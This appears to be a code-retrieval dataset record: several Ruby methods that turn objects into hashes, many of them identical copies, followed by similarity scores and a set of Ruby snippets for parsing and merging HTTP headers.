"def to_h(include_blanks=false)\n hash = {}\n self.class::ATTRIBUTES.keys.each do |attr|\n spec = self.class::ATTRIBUTES[attr].to_h\n key = spec[:key] || attr.to_s\n type = spec[:type]\n value = send(attr)\n\n if value.nil?\n if include_blanks\n hash[key] = nil\n end\n elsif type == TYPE_OBJECT\n hash[key] = value.to_h\n elsif type == TYPE_OBJECT_ARRAY\n hash[key] = value.map{ |e| e.to_h }\n else\n hash[key] = value\n end\n end\n\n return hash\n end",
"def to_hash(args = {}) # :nodoc:\n args ||= {}\n hash = {}\n\n self.attributes.each do |name, value|\n hash[name] = if value.is_a?(::Array)\n value.map {|x| x.respond_to?(:to_hash) ? call_method_with_optional_parameters(x, :to_hash, :nested => true) : x}\n elsif value.respond_to?(:to_hash)\n call_method_with_optional_parameters(value, :to_hash, :nested => true)\n elsif value.respond_to?(:as_json)\n value.as_json(:nested => true)\n else\n value\n end\n end\n\n hash\n end",
"def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end",
"def fields_for_query\n self.class.fields_coercions.keys.each_with_object({}) do |field_name, results|\n results[field_name] = @fields.each_with_object({}) do |(locale, fields), field_results|\n field_results[locale] = get_value_from(fields, field_name)\n end\n end\n end",
"def serializable_hash\n attrs = self.class._attributes.dup.keys\n\n # Inclusive fields.\n if @opts[:only].present? || @opts[:fields].present?\n (@opts[:only] ||= []).concat(@opts[:fields] ||= [])\n attrs = (attrs & @opts[:only].map(&:to_sym))\n # Exclusive fields.\n elsif @opts[:exclude].present?\n attrs = (attrs - @opts[:exclude].map(&:to_sym))\n end\n\n filter_attributes(attrs)\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end"
] |
[
"0.7413053",
"0.7403475",
"0.7239803",
"0.7211861",
"0.6972866",
"0.6972866",
"0.684725",
"0.6798657",
"0.67146283",
"0.6679869",
"0.6574547",
"0.6454038",
"0.6437063",
"0.6373835",
"0.63686794",
"0.63551486",
"0.6331356",
"0.63179076",
"0.63114387",
"0.6245294",
"0.6235421",
"0.62193644",
"0.6203858",
"0.61615366",
"0.6124164",
"0.6123098",
"0.60981274",
"0.60397124",
"0.60313326",
"0.6013478",
"0.60050464",
"0.59817636",
"0.5973074",
"0.5969632",
"0.59400797",
"0.5925598",
"0.5924023",
"0.5921731",
"0.59195167",
"0.59164673",
"0.59159154",
"0.59064853",
"0.5888892",
"0.5883352",
"0.5882168",
"0.5881674",
"0.58710897",
"0.5861301",
"0.58588934",
"0.58501774",
"0.58474636",
"0.58474636",
"0.5838534",
"0.58217704",
"0.58195",
"0.5812876",
"0.58117485",
"0.58088845",
"0.57894695",
"0.57894695",
"0.5789222",
"0.5787382",
"0.5780033",
"0.57749057",
"0.5773288",
"0.5764333",
"0.5764333",
"0.5764333",
"0.5764333",
"0.5764333",
"0.5762303",
"0.57519877",
"0.5745224",
"0.5727228",
"0.57176334",
"0.57137",
"0.57087153",
"0.57072014",
"0.5706183",
"0.5698311",
"0.5696048",
"0.56904805",
"0.5689844",
"0.5684654",
"0.5684654",
"0.56845987",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793",
"0.56812793"
] |
0.8299534
|
0
|
Combines headers/value pairs into a single struct for easier handling.
|
def fields
@fields = headers.map.with_index do |header, index|
Field.new(header, row_data[index])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def merge_headers(*headers)\r\n hdr = {}\r\n headers.each do |h|\r\n hdr.merge!(h) do |k,v1,v2|\r\n v1.merge!(v2) if k == :attributes!\r\n end\r\n end\r\n hdr\r\n end",
"def merge_headers(*headers)\n hdr = {}\n headers.each do |h|\n hdr.merge!(h) do |k,v1,v2|\n v1.merge!(v2) if k == :attributes!\n end\n end\n hdr\n end",
"def merge_headers(*headers)\r\n hdr = {}\r\n headers.each do |h|\r\n hdr.merge!(h) do |k, v1, v2|\r\n v1.merge!(v2) if k == :attributes!\r\n end\r\n end\r\n hdr\r\n end",
"def header_pairs headers\n header_pairs = []\n headers.each do |header|\n header_pairs.append \"#{header[:name]}=#{header[:value]}\"\n end\n header_pairs.join \",\"\nend",
"def process_headers\n { \"Content-Type\" => content_type }.tap do |result|\n headers.each do |header|\n result[header.name] = header.value\n end\n end\n end",
"def combine_multivalued_fields(uncombined_fields)\n combined_fields = {}\n uncombined_fields.each do |field|\n normalized_header = normalize_header(field.header)\n if multivalued?(normalized_header)\n combined_fields[normalized_header] ||= Field.new(field.header, [])\n combined_fields[normalized_header].value << field.value\n else\n combined_fields[normalized_header] ||= Field.new(field.header, field.value)\n end\n end\n combined_fields.values\n end",
"def headers flatten=nil\n hsh = {}\n if !flatten\n @headers.each_pair do |k, v|\n hsh[k] = v.value\n end\n elsif flatten == true\n @headers.each_pair do |k, v|\n hsh[k] = v.flatten\n end\n else\n @headers.each_pair do |k, v|\n hsh[k] = v.flatten(flatten)\n end\n end\n hsh\n end",
"def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend",
"def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
"def get_headers\nheader_values = {}\n i = 1\n # while !params[:header][:type_.to_s + \"#{i}\"].nil?\n while !params[:header_values_.to_s + \"#{i}\"].nil?\n\t value = params[:header_values_.to_s + \"#{i}\"].map!{|i| CGI::unescape(i).gsub(\"\\\"\", \"'\")}\n \theader_values[params[:header][:type_.to_s + \"#{i}\"]] = value\n i += 1\n end\n header_values\nend",
"def parse_headers(raw_headers)\n # raw headers from net_http have an array for each result. Flatten them out.\n raw_headers.inject({}) do |remainder, (k, v)|\n remainder[k] = [v].flatten.first\n remainder\n end\n end",
"def mapping(header, result)\n\n warn(\"Header length = #{header.length} not equal to entry length = #{result[0].length}, some fields will missing!\") if header.length != result[0].length\n\n result_with_header = []\n\n result.each do |values|\n entry = {}\n i = 0\n header.each do |key|\n entry[key] = values[i]\n i += 1\n end\n\n result_with_header.push(entry)\n end\n\n result_with_header\n end",
"def headers\n # units and source have to go last, so if we push in a new header, these go\n # at end\n @headers+['units','source']\n end",
"def header(*values)\n if values.empty?\n @properties.fetch(:header) { [] }\n else\n (@properties[:header] ||= []) << values\n end\n end",
"def headers\n h = {}\n raw.headers_hash.each {|k,v| h[k] = v }\n h\n end",
"def build_header_output\n output = []\n\n @header.each do |line|\n _data = []\n line.each do |h|\n _data << {:value => h, :color => @style[:header]}\n end\n output << _data\n end\n output\n end",
"def header(name, value = nil)\n if value\n (@headers ||= {})[name] = value\n else\n (@headers || {})[name]\n end\n end",
"def build_headers(headers)\n headers.select do |key, value|\n !(key.to_s =~ /cookie/i)\n end.inject([]) do |memo, header|\n memo << {\n :name => header[0].to_s.split('_').map(&:capitalize).join('-'),\n :value => header[1].to_s\n }\n end\nend",
"def headers; return {}; end",
"def headers; return {}; end",
"def parse_header_contents; end",
"def parseHeaders(request) \n headers = {};\n\n # Loop through headers\n request.lines[1..-1].each do |line|\n # If we are moving to the next line, return what we currently have\n return headers if line == \"\\r\\n\"\n\n # Structure data\n header, value = line.split\n header = header.gsub(\":\", \"\").downcase.to_sym\n headers[header] = value\n end\nend",
"def parse_headers(raw_headers)\n headers = {}\n raw_headers.each do |h|\n if h =~ /^# *([a-zA-Z_]+) *:(.*)/\n h_key = $1.downcase.intern\n h_value = $2.split(\",\").collect { |v| v.strip }\n if h_value.length > 0 # ignore empty headers\n headers[h_key] = h_value.length > 1 ? h_value : h_value[0]\n end\n end\n end\n \n return headers\n end",
"def headers\n res = parsed_headers\n if has_delta?\n res.concat(delta_headers)\n end\n res\n end",
"def headers(hash = {})\n hash.each_pair do |k,v|\n header[k] = v\n end\n end",
"def extract_header_data(response)\n header_type = get_full_type_signature(:SoapResponseHeader)\n headers = response.header[:response_header].dup\n process_attributes(headers, false)\n result = headers.inject({}) do |result, (key, v)|\n normalize_output_field(headers, header_type[:fields], key)\n result[key] = headers[key]\n result\n end\n return result\n end",
"def header_build\n header = \"customer name\" + @delimiter + \"gender\" + @delimiter\n header += \"age\" + @delimiter + \"birthday\" + @delimiter + \"cpf\" + @delimiter + \"id\" + @delimiter\n header += \"state\" + @delimiter + \"city\" + @delimiter + \"street\" + @delimiter + \"zip_code\" + @delimiter\n header += \"company name\" + @delimiter + \"industry\" + @delimiter + \"cnpj\"\n header\nend",
"def initialize(headers={})\n @values = {}\n initialize_names\n merge! headers\n end",
"def to_h\n h = {}\n each { |f| h.store f.name, f.value }\n h\n end",
"def fields_to_hash(these_fields)\n combined_fields = combine_multivalued_fields(these_fields)\n combined_pairs = combined_fields.map do |field|\n\n # does the normalize_ case ever happen?\n key = api_field_name_for(field.header) || normalize_header(field.header)\n [ key, encode_values(field.value) ]\n end\n Hash[ combined_pairs ]\n end",
"def normalized_data\n result = { :headers => [], :values => [] }\n\n data.each do |row|\n values = []\n row.each do |key,val|\n # add the header field if needed\n result[:headers] << key unless result[:headers].include?(key)\n\n # build the values array\n index_of_header = result[:headers].index(key)\n values[index_of_header] = val\n end\n result[:values] << values\n end\n result\n end",
"def headers=(hash); end",
"def headers=(hash); end",
"def formulate_headers(auth_header)\n {\n 'Content-Type' => 'application/json',\n 'Authorization' => auth_header,\n 'Content-Encoding' => 'gzip',\n 'Accept' => 'application/json'\n }\n end",
"def meta\n @meta ||= begin\n arr = @header_str.split(/\\r?\\n/)\n arr.shift\n arr.inject({}) do |hash, hdr|\n key, val = hdr.split(/:\\s+/, 2)\n hash[key.downcase] = val\n hash\n end\n end\n end",
"def grab_header\n return @header if (@header and !@header.empty?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def headers(headers); end",
"def header(buf)\n peek = buf.readbyte(0)\n\n header = {}\n header[:type], type = HEADREP.select do |t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end.first\n\n header[:name] = integer(buf, type[:prefix])\n if header[:type] != :indexed\n header[:name] -= 1\n\n if header[:name] == -1\n header[:name] = string(buf)\n end\n\n if header[:type] == :substitution\n header[:index] = integer(buf, 0)\n end\n\n header[:value] = string(buf)\n end\n\n header\n end",
"def parse_headers\n headers = {}\n @request.lines[1..-1].each do |line|\n # puts line.inspect\n # puts line.split.inspect\n return headers if line == \"\\r\\n\" # Because HTTP header's last line will be /r/n we return bc we're done\n header, value = line.split\n header = normalize(header)\n headers[header] = value\n end\n \n return headers\n end",
"def header_value\n @pairs.fetch(\"value\")\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def header_to_hash data\n header = {}\n data = data.split(@opts[:delimiter])\n self.req[\"Verb\"], self.req[\"Url\"], self.req[\"Version\"] = data.shift.split(\" \", 3)\n data.each do |line|\n k,v = line.split(\":\", 2)\n if !@opts[:header_bl] || !(HEADER_BLACKLIST.include? k)\n header[k] = v.lstrip\n end\n end\n header\n end",
"def parse!\n if /^(?<key>.*?):(?<value>.*)/m =~ @raw\n @key = key.strip\n @value = value.strip\n else\n raise \"Unable to parse Header: #{@raw}\"\n end\n end",
"def merge(other)\n headers = dup\n other.each do |field, value|\n headers[downcased(field)] = value\n end\n headers\n end",
"def headers(hash = {})\n hash.each_pair do |k,v|\n @header[k] = v\n end\n end",
"def unpack_header(header)\n # fixed fields\n self.version = header.slice!(0)\n self.type = header.slice!(0)\n self.seq_no = header.slice!(0)\n self.flags = header.slice!(0)\n self.session_id = header.slice!(0..3)\n self.length = header.slice!(0..3)\n return(nil)\n end",
"def to_h\n array = []\n array << @header.to_h if @header\n @entries.each do |entry|\n array << entry.to_h\n end\n array\n end",
"def header(name, value)\n har_headers << [name, value]\n super(name, value)\n end",
"def make_headers(user_headers); end",
"def header(h, buffer = \"\")\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def merge(headers_or_env); end",
"def parse_headers!(block)\n headers.each { |header| block.call(header.key, parse_value(header.value)) }\n end",
"def separate_header(header)\n xsc, non_xsc, xsc_key = {}, \"\", nil\n\n header.split(\"\\n\").each do |line|\n if line =~ /^X-SC-([^:]+):(.*)/i\n xsc_key = $1.downcase\n xsc[xsc_key] = $2.to_s.strip\n\n elsif line =~ /^\\s/ && xsc_key\n xsc[xsc_key] += \" \" + line\n\n else\n xsc_key = nil\n non_xsc += line + \"\\n\"\n end\n end\n return [xsc, non_xsc]\n end",
"def header(buf)\n peek = buf.getbyte\n buf.seek(-1, IO::SEEK_CUR)\n\n header = {}\n header[:type], type = HEADREP.select do |t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end.first\n\n header[:name] = integer(buf, type[:prefix])\n if header[:type] != :indexed\n header[:name] -= 1\n\n if header[:name] == -1\n header[:name] = string(buf)\n end\n\n if header[:type] == :substitution\n header[:index] = integer(buf, 0)\n end\n\n header[:value] = string(buf)\n end\n\n header\n end",
"def separate_header(header)\n xsc, non_xsc, xsc_key = {}, \"\", nil\n\n header.split(\"\\n\").each do |line|\n if line =~ /^X-SC-([^:]+):(.*)/ni\n xsc_key = $1.downcase\n xsc[xsc_key] = $2.to_s.strip\n\n elsif line =~ /^\\s/ && xsc_key\n xsc[xsc_key] += \" \" + line\n\n else\n xsc_key = nil\n non_xsc += line + \"\\n\"\n end\n end\n return [xsc, non_xsc]\n end",
"def arrange_representative_header header\n head={\"FIRST NAME\" => \"first_name\",\n \"LAST NAME\" => \"last_name\",\n \"EMAIL\" => \"email\",\n \"UIN\" => \"uin\",\n \"FULL ACADEMIC UNIT NAME\" => \"academic_unit_name\",\n \"COLLEGE\" => \"college\"\n }\n arranged_header=[]\n header.each do |k|\n arranged_header.push head[k]\n end\n return arranged_header\n end",
"def header_array\n hash = get_headers \n arr = []\n hash.each do |k, v|\n\tv.each do |i|\n\tarr << k + \"=\" + i\n\tend\nend\n arr\nend",
"def setup_header(dat)\n @headers = { to: to }\n dat.each do |key, val|\n key = key.to_s.downcase\n raise \"invalid field #{key}\" unless valid_fields.include?(key)\n @headers[key.to_sym] = val unless val.nil?\n end\n end",
"def parse_header(string)\n {\n # identificação do registro header (conteúdo 0)\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # código da empresa no bradesco\n :codigo_empresa => string[26..45].strip,\n # razão social da empresa\n :razao_social => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => convert_date(string[94..99]),\n # brancos\n #:brancos1 => string[100..107],\n # número aviso bancário\n :numero_aviso_bancario => string[108..112],\n # brancos\n #:brancos2 => string[113..378],\n # data de crédito dos lançamentos\n :data_credito => convert_date(string[379..384]),\n # brancos\n #:brancos3 => string[385..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def headers\n @headers.reject {|k, v| k == :body }.map do |k, v|\n translate_header_name(k) + ': ' + v + \"\\n\"\n end.join\n end",
"def parse_metadata\n meta=Hash.new\n meta['hostname']=@xdr.string\n meta['name']=@xdr.string\n meta['spoof']=@xdr.uint32\n meta['type']=@xdr.string\n meta['name2']=@xdr.string\n meta['units']=@xdr.string\n slope=@xdr.uint32\n\n case slope\n when 0\n meta['slope']= 'zero'\n when 1\n meta['slope']= 'positive'\n when 2\n meta['slope']= 'negative'\n when 3\n meta['slope']= 'both'\n when 4\n meta['slope']= 'unspecified'\n end\n\n meta['tmax']=@xdr.uint32\n meta['dmax']=@xdr.uint32\n nrelements=@xdr.uint32\n meta['nrelements']=nrelements\n unless nrelements.nil?\n extra={}\n for i in 1..nrelements\n name=@xdr.string\n extra[name]=@xdr.string\n end\n meta['extra']=extra\n end\n return meta\n end",
"def add_headers_from_arrays(curl, keys, values)\n keys, values = Array(keys), Array(values)\n\n keys.each_with_index do |key, i|\n next if values[i].to_s.empty?\n curl.headers[key] = values[i]\n end\n end",
"def parse_header(io)\n\t variable_name = nil\n\t parse_pairs io do |code, value|\n\t\tcase code\n\t\t when '0' then next\n\t\t when '9'\n\t\t\tvariable_name = value\n\t\t else\n\t\t\theader[variable_name] = value\n\t\tend\n\t end\n\tend",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def get_headers_\n hin = ATS::Headers_in.new\n hin.all.reduce({}) do |memo, pair| \n memo[pair.first.downcase] = pair[1]; memo\n end\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n case h[:type]\n when :indexed\n buffer << integer(h[:name] + 1, rep[:prefix])\n when :changetablesize\n buffer << integer(h[:value], rep[:prefix])\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name] + 1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n buffer << string(h[:value])\n end\n\n # set header representation pattern on first byte\n fb = buffer.ord | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def each\n if @header\n @header.each{|k, v|\n value = @header[k]\n yield(k, value.empty? ? nil : value.join(\", \"))\n }\n end\n end",
"def add_headers_from_arrays(curl, keys, values)\n keys, values = Array(keys), Array(values)\n\n keys.each_with_index do |key, i|\n next if values[i].to_s.empty?\n curl.headers[key] = values[i]\n end\n end",
"def headers\n fields.map(&:name).map(&:to_sym)\n end",
"def merge_headers(head1, head2, sepr=\"\", open=\"\", close=\"\")\n merged_arr = head1.zip(head2) #merges 2 headers (arrays) together into a \"2D\" array\n \n merged_str = []\n #converts merged array into a string (with optional seperator and opening/closeing containers)\n merged_arr.each do |h1,h2|\n if (h1.empty? and h2.empty?)\n h3 = '\"\"' #empty double header cells should stay empty\n else\n h3 = h1 + sepr + open + h2 + close\n end\n merged_str << h3\n end\n return merged_str\n end",
"def join_headers\n # join the headers array with crlfs, stick two on the end because\n # that ends the request header\n @request_header.join(CRLF) + (CRLF) * 2\n end",
"def join_headers; end",
"def getSecondHeader() @header2 end",
"def get_header_and_body\n headers, body = {}, \"\"\n until line = @socket.gets and line.chomp.empty?\n if (kv = line.chomp.split(/:\\s+/,2)).size == 2\n headers.store *kv\n end\n end\n if (content_length = headers[\"Content-Length\"].to_i) > 0\n Log.debug \"content_length is #{content_length}, grabbing from socket\"\n body << @socket.read(content_length)\n end\n headers.merge(\"body\" => body.strip)\n end",
"def compose_header(key, value)\n Util.escape_zero_byte(\"#{key}: #{value}\")\n end",
"def header(key = nil, val = nil)\n if key\n val ? @header[key.to_s] = val : @header.delete(key.to_s)\n else\n @header\n end\n end",
"def to_h\n Hash[@content.select { |item| item[:type] == :value }.collect { |item| item.values_at(:key,:value) }]\n end",
"def find_header(header)\n {}.tap do |returning|\n contents.scan(header_with_content_regexp(header)).flatten.first.split(\"\\n\").each do |setting|\n name, value = *setting.split('=').map(&:strip)\n returning[name] = value\n end\n end\n end",
"def normalized_headers\n\t\theaders = self.headers.dup\n\n\t\theaders[:date] ||= Time.now.httpdate\n\n\t\tif self.bodiless? && !self.extended_reply?\n\t\t\theaders.delete( :content_length )\n\t\t\theaders.delete( :content_type )\n\t\telse\n\t\t\theaders[:content_length] ||= self.get_content_length\n\t\t\theaders[:content_type] ||= DEFAULT_CONTENT_TYPE.dup\n\t\tend\n\n\t\treturn headers\n\tend",
"def add_header(name, value)\n end",
"def token_and_options(header)\n token = header.to_s.match(/^Token (.*)/) { |m| m[1] }\n if token\n begin\n values = Hash[token.split(\",\").map do |value|\n value.strip! # remove any spaces between commas and values\n key, value = value.split(/=\"?/) # split key=value pairs\n value.chomp!('\"') # chomp trailing \" in value\n value.gsub!(/\\\\\"/, '\"') # unescape remaining quotes\n [key, value]\n end]\n [values.delete(\"token\"), values]\n rescue StandardError => exception\n raise UnprocessableHeader, exception\n end\n else\n [nil, {}]\n end\n end",
"def build_request_header\n web_authentication_detail = XmlNode.new('WebAuthenticationDetail') do |wad|\n wad << XmlNode.new('UserCredential') do |uc|\n uc << XmlNode.new('Key', @options[:key])\n uc << XmlNode.new('Password', @options[:password])\n end\n end\n \n client_detail = XmlNode.new('ClientDetail') do |cd|\n cd << XmlNode.new('AccountNumber', @options[:account])\n cd << XmlNode.new('MeterNumber', @options[:login])\n end\n \n trasaction_detail = XmlNode.new('TransactionDetail') do |td|\n td << XmlNode.new('CustomerTransactionId', @options[:po_number]) \n end\n \n [web_authentication_detail, client_detail, trasaction_detail]\n end",
"def fill_header response\n @response = Mechanize::Headers.new\n\n response.each { |k,v|\n @response[k] = v\n } if response\n\n @response\n end",
"def header_fields\n header.fields\n end",
"def headers(value = nil, &block)\n __define__(:headers, value, block)\n end",
"def http_header(field=nil, value=nil)\n @_http_header ||= {}\n @_http_header[field] = value if field\n @_http_header\n end",
"def create_parsed_header(functions, typedefs = nil)\n parsed_header = {\n :includes => nil,\n :functions => [],\n :typedefs => []\n }\n\n # Add the typedefs.\n if typedefs\n typedefs.each do |typedef|\n parsed_header[:typedefs] << typedef\n end\n end\n\n # Add the functions.\n if functions\n functions.each do |function|\n # Build the array of arguments.\n args = []\n if function.key?(:args)\n function[:args].each do |arg|\n args << {\n :type => arg\n }\n end\n end\n parsed_header[:functions] << {\n :name => function[:name],\n :modifier => \"\",\n :return => {\n :type => function[:return_type],\n :name => \"cmock_to_return\",\n :ptr? => false,\n :const? => false,\n :str => \"void cmock_to_return\",\n :void? => true\n },\n :var_arg => nil,\n :args_string => \"void\",\n :args => args,\n :args_call => \"\",\n :contains_ptr? => false\n }\n end\n end\n parsed_header\nend",
"def populate_fields\n @header = populate_hmap_header\n string_t = @raw_data[header.strings_offset..-1]\n @bucktes = populate_buckets do |bucket|\n bucket_s = bucket.to_a.map do |key|\n string_t[key..-1].match(/[^\\0]+/)[0]\n end\n HMapBucketStr.new(*bucket_s)\n end\n end",
"def to_h\n @values.inject(Hash.new) do |h, a|\n tag, val = a\n h[Values.tag_map[tag]] = convert(Values.unify_tag(tag), val)\n h\n end\n end",
